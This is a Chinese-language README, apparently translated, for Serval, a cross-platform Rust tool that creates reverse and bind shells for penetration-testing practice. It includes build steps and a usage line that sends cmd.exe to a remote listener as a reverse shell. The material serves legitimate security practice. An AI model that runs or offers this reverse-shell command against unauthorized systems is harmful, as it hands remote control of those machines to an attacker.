Serval 是一个轻量级、易于使用的二进制文件,用于在渗透测试或渗透测试练习中生成反向和绑定Shell。Serval 是跨平台的,可以编译为 Windows 32 位和 64 位以及 Linux 32 位和 64 位。注意:由于 Rust 的灵活性,有可能编译到其他平台(例如 ARM),但我尚未在其他平台上进行测试。
我开发 Serval 是为了在 HacktheBox 挑战中摆脱对 netcat 的依赖,因为在 Windows 上找到 netcat 二进制文件(尤其是带有 -e 选项的)非常麻烦,而且从可信来源找到二进制文件更加困难。
从 GitHub 下载源码
git clone https://github.com/tgadola/serval.git && cd serval-master
*可选:编辑 .cargo/config 中的构建文件以重写您的构建路径。
为当前平台构建二进制文件。
cargo build --release
*注意:v1.1.0 需要 Rust nightly
您可以使用以下命令为其他平台构建:
cargo build --release --target <target-triple>
如果您是特别信任的人,可以在此处下载预构建的二进制文件。
默认情况下,Serval 将监听或连接到一个端口,并将标准输入和输出通过管道连接到该连接。-e 标志将生成一个进程,并将其标准输入和输出通过网络管道传输。
Serval 监听所有接口。
使用 -H 标志激活行编辑和命令历史功能!
serval -l 4400 -H
serval.exe <listening ip> <listening port> -q -e cmd.exe
非常感谢 @kkawakam-transferwise 及其 Rustyline crate,它实际上完成了所有繁重的工作。查看 Rustyline!
感谢 Clap 的创建者和贡献者!查看 Clap。
感谢 Anyhow 的创建者和贡献者!查看 Anyhow。为这个伟大的 crate 名称点个赞。
感谢 @jaynus 的所有 Rust 建议
Apache 2.0。有关更多信息,请参阅 License 文件。